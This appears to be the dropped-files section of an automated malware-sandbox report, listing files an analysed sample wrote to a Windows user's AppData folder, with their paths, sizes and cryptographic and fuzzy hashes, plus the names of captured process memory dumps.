SSDEEP 24576:DZawn/L44sfzu9zv7cog7WVXbjLARg00BOEUM+C2n4WHbp6TZUOmUDHRO1K9bQGm:DREELnVXboUOpM+X7pw+OmUrlbQGx0
TLSH
T1FC653371B8F4395258B99AEE209118EF333F2AE77FD48402DF39BF118526E598C14D1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-11_08-55-31_676125_LockExit.xlsx

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2026-04-11_08-55-31_676125_LockExit.xlsx
Size 660KB
SHA256 ab597edd6b94fcb91073055b686934d37fd67ed1bcc9e91dd6546febb2664f50
MD5 038dba36c5251129783055854626cf1e
SHA1 6a8a421946fcf588c67dd9267a8d2dcd8bc173b0
SHA512 f1659538e269babbdd2e20128d7fdfc8b736f7038bd4e3961bec77de1e072b67d0058ac759c8025fe38c9f7290a760c23d8907d4e0f8037a4e9b01576ea3ac0f
SSDEEP 12288:b7MxvYZfxPSq+E7UVL6DpVO+LAakw20A77UhWLu9OK+TDhVVSsGOyE11uPBnW:b7QgZfxPn1olQLrkP0WLuYxR/AOr18nW
TLSH
T1A8E423446B357C54FAFA33FF4EDC5EC702DA8A635A87A219B02B420B65F1C772D55801
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-19_06-55-31_719746_RegisterUnlock.csv

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2026-04-19_06-55-31_719746_RegisterUnlock.csv
Size 702KB
SHA256 40fdaac19f30478913d222c4a014e360d0e2a0e77816f1dd4e9eb5a583678063
MD5 f5a8ec1cc4b16f8cf8a3ae44b7f9059b
SHA1 b9690ed79586ab943fd63ee9b3477df974719089
SHA512 4f9c0d61c2da9e4f523ad0be507faf07ba1f95133a3c548d08b61eb61e60b4d55348955e349e56ee01c63f31056d96ade41c1ee487f57791ccc0aca193bd8311
SSDEEP 12288:yjmlorW9XW+VdQsgoFSHeLMeIGV5tezUHAUN08yU6FY2KYuC0Db:LloK51QsbzMeIWDiFCRJv
TLSH
T19CE4239868208D76565155CE4639BA6848BC01BBDC9C4CCA4CDB5F0878AFC71CEEB3F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-04-26_22-55-31_806988_OutConvertFrom.txt

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2026-04-26_22-55-31_806988_OutConvertFrom.txt
Size 788KB
SHA256 dc941cb594efce7d88d3790803eb6bec574755305ed53a00b378a140ac4b2f32
MD5 6b7e827fa71d2097f4cf26512b0312e6
SHA1 b0f285f7389185b522af00dda2be020139b814f3
SHA512 fde2e91f86e15933128d367ffc04fa0011b51b93587826a8e4377fd844b2930d850a0255789a42737ea5eeb3e1d26bf1a1e757bdae270e67802555e5fe9e0427
SSDEEP 12288:quNlugbOHLenuT71xJYUQcKbDRswRSHlKG+oXqwtRZP+z0qYwl8Ggr/p:dPTb6LsuT7TsJfRfREKOZ+z0qDhsR
TLSH
T1E9053380D4AF71564ACF2F0F27E86CAEDD839859412B4650CD9B40A32D127B79CB4E7E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-05-02_19-55-32_1068714_SkipInvoke.vsdx

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2026-05-02_19-55-32_1068714_SkipInvoke.vsdx
Size 1.0MB
SHA256 fd4b72f1b84e82410961295a3cb1eb1244a04d14ffb4dd3a0b26074ddd6652b3
MD5 b9edec7d764abda6ae46947a0dff3af2
SHA1 c958237e25daa299c35d552a9d6783c9ddd8efb0
SHA512 8d632766fa7c61256bd770ee979618c0b217c57268d82eb23f53fbdcfe7b5034b29786c6cad373af107e4d85f8e72ff81c1fd3a9443ec5e8af72ae8c8801776c
SSDEEP 24576:CeSIxNQHwCBqNorSdiFDKT/+g0ZF0OKISJG3WhYbu+:CeSoN/NMSdMKTWg+FVjSJAWhYf
TLSH
T10535239EF54B213642B7509F0832ED9E9D021DF1ECE8620CE967EFC6F8D049894C75A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-05-10_16-55-31_763367_RequestDebug.ods

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2026-05-10_16-55-31_763367_RequestDebug.ods
Size 745KB
SHA256 c883bce9bdd2d09bd377fda715d319a74171da78681cd930b09d18b322afbb32
MD5 74d6141e37e98edeccca9e5d40657582
SHA1 90a3830af14efe59b5936acdd20fcf32af2c6a25
SHA512 eb155841133ee6396dee0197123e46ba6f796bf811f39e4e522888cd64710ce90da5903430c90a0885566265c38d1a505d5c43bc53eac2e638f047e3e0bedc48
SSDEEP 12288:rnhfTI9QxPBF1bJJh7f8uKNCE0K2H0z15jI8nsG48fHJNa4VZg1Cwn9A61hcyosW:rhfTI9UXjnQuKNnDXsG48xNrVsCweI2
TLSH
T1EBF4335C5BC6DBE2E86AAAD8C0040C9091E453882E87FC95CBD35007E9BBE157E73DB5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2026-05-13_09-55-31_545262_RevokeRestart.vdx

Path C:\Users\Admin\AppData\Local\Wunderlistix\Option\Color\Documents\2026-05-13_09-55-31_545262_RevokeRestart.vdx
Size 532KB
SHA256 16d37516764f44106941974a9ec3385f1c0a829e6946d8c7b810a082c11ffa76
MD5 9fa7e287fbe2a3238c90257acf08c76c
SHA1 a8ba823fcc4897ae485c0561293c1df653bf62dc
SHA512 599e6a574bce33d25432224cc7855dee9c49507e415f8d0eede8b73a19abcd273da3d4cd0df6fcbefc9be2eea729efb2c65623c169d87b4147ca6b3bda7497a0
SSDEEP 12288:o7qdfzzwTTe9y9mjZ5NbIc70Kuonr42/NafsDEsgLh2l:oQQToy9mjbVP0Ku6zNusD1l
TLSH
T1E9C423CDF63DFDC784899AB84D66198E936B258D4469F20E5CB28CC89E05CE1F7E7804
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1028-59-0x000002357DC40000-0x000002357E168000-memory.dmp

Download

memory/1028-58-0x000002357D540000-0x000002357D702000-memory.dmp

Download

memory/1028-57-0x000002357D320000-0x000002357D370000-memory.dmp

Download

memory/1028-44-0x00000235624F0000-0x0000023562512000-memory.dmp

Download